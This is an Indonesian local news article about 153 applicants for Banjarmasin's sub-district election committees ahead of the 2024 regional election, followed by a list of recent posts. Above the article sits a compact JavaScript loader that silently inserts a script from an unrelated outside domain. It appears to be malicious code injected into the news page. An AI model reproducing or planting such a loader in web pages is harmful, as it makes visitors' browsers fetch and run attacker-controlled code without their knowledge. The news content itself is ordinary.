(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

153 Pelamar Calon PPK Pilkada di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Komisi Pemilihan Umum (KPU) Kota Banjarmasin resmi menutup pendaftaran badan ad hoc calon anggota Panitia Pemikihan Kecamatan (PPK) penyelenggaraan Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin.

Penutupan penerimaan berkas seleksi setelah KPU membuka pendaftaran sejak tanggal 23 hingga 29 April 2024.

Ketua KPU Kota Banjarmasin Rusnailah mengatakan sampai dengan hari terakhir pendaftaran tercatat 153 orang pelamar dari lima kecamatan menyerahkan berkas pendaftaran ke Sekretariat KPU Kota Banjarmasin.

Baca juga: Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

“Total pelamar PPK yang terverifikasi 153 orang,” katanya, Rabu (1/5/2024) siang.

Rusnailah menyebut seluruh berkas pendaftaran calon PPK dilakukan verifikasi administrasi dan yang memenuhi syarat akan lanjut seleksi tertulis.

“Besok diumumkan hasil verifikasi administrasinya, tanggal 6 Mei tes CAT (computer assisted test),” ujarnya.

Baca juga: Unjuk Rasa Mahasiswa Banjarmasin di Hari Buruh Sedunia

Sama seperti pelaksanaan Pemilu 2024 kebutuhan calon anggota PPK di setiap kecamatan se Kota Banjarmasin sebanyak 5 orang, terdiri 1 ketua dan 4 anggota.

Sehingga jika dikalikan dengan jumlah lima kecamatan yang ada di Kota Banjarmasin, calon anggota PPK yang lulus dan dilantik setelah melewati serangkaian tes hanya 25 orang.

Mereka yang dilantik akan bertugas menyelenggarakan Pemilu di tingkat kecamatan sejak dilantik tanggal 16 Mei 2024 hingga 27 Januari 2025.

Baca juga: PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

Masih lanjut Ketua KPU Banjarmasin, setelah pendaftaran PPK, KPU akan membuka seleksi pendaftaran Panitia Pemungutan Suara (PPS) tingkat kelurahan. Penerimaan berkas pendaftaran calon anggota PPS dibuka dari tanggal 2-8 Mei 2024 atau selama 7 hari.

Berikutnya dilanjutkan dengan rekrutmen Kelompok Penyelenggara Pemungutan Suara (KPPS) dan Pantarlih yang jadwal dan tahap pendaftaran belum dirilis KPU Banjarmasin.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

56 menit ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

3 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

6 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

10 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.